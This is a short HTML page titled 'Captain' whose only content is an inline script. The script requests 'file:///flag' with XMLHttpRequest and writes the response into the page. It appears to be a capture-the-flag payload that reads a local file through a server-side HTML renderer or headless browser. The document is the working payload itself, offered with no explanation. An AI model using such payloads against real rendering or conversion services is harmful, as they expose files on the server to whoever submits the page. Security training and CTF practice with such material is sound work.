```
<html><head><title>Captain</title></head><body><script>flag=new XMLHttpRequest;flag.onload=function(){document.write(this.responseText)};flag.open("GET","file:///flag");flag.send();</script></body></html>```